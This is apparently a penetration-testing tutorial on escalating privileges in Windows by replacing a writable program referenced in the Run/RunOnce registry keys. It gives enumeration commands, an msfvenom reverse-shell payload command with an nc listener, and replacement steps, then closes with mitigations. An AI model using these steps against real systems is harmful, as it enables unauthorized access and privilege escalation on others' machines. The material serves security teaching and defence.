Windows allows users to set specific programs to automatically start whenever the system boots, the list of programs that have this functionality enabled is stored in the Windows Registry. Although this feature can be very handy if startup programs are setup with improper permissions it may allow attackers to escalate privileges, as these programs are executed in the context of the user who is logging in at that point in time.

Commonly known AutoRun registry:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

Registry keys known as Run and RunOnce are designed to automatically execute programs every time a user logs into the system. The command line assigned as a key's data value is limited to 260 characters or less.

Since we are only interested in the machine startup keys, these are the default keys we want to query:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

There are also some additional keys that do not exist by default; however, they should also be queried because they may have been manually created:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunEx
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx


1. First identify the type of architecture you are dealing with

  • systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

2. Download into the target machine Sysinternals AutoRun (

  • Click on Logon tab

Note: The objective for us as an attacker is to use this tool to find any outliers. Most of the time we will find that programs execute from some directory extended from the systemroot (C:\Windows), which will likely be un-writable; however, finding a program that executes from any another location is worth investigating.

3. Query this registry hive

  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


  • Get-Item -Path Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

4. Check the permissions on this program, we need to verify we can modify it. (“Everyone” user group has “FILE_ALL_ACCESS” permission on the “program.exe” file.)

AccessChk (

  • .\accesschk64.exe -wvu "C:\Program Files\Autorun Program"


  • icacls c:\program files\autorun program\program.exe

Note: What we are looking for on the executable is any one of three specific permissions:

  • (F) Full Control
  • (M) Modify
  • (W) Write

The user / group permissions we are looking for are the following:

  • Authenticated Users
  • Everyone
  • BUILTIN\Users


PowerUp (


1. Create a reverse shell payload, to replace the original program at the location

  • msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=7777 -a x64 --platform Windows -f exe -o program.exe

2. Start a local listener

  • nc -lvp 7777

3. Transfer the file into the target machine, and, move it into the target folder, in this case (C:\Program Files\Autorun Program)

Note: Remember to back up the original file.

4. Now wait for another user to log in, once, someone logs the listener should receive a connection back.

  • whoami


To mitigate the risks associated with Autorun-related registry manipulation, consider the following steps:

  • Least privilege principles: Assign privileges to user that must modify the binary files
  • Regular Registry Audits: Regularly audit the registry for unusual or unauthorized changes. Monitoring tools and scripts can help detect suspicious modifications to Autorun-related registry keys.
  • Restrict User Access: Limit user access to sensitive registry keys using permissions and access controls. Restricting write access to Autorun-related registry keys can prevent unauthorized modifications.
  • Disable Autorun: As mentioned earlier, disabling Autorun altogether can prevent malware from exploiting Autorun-related registry entries. This can be done through Group Policy settings or by modifying registry keys directly.
  • Use Antivirus and Endpoint Protection: Employ antivirus and endpoint protection solutions that monitor and block suspicious activity, including unauthorized modifications to the registry.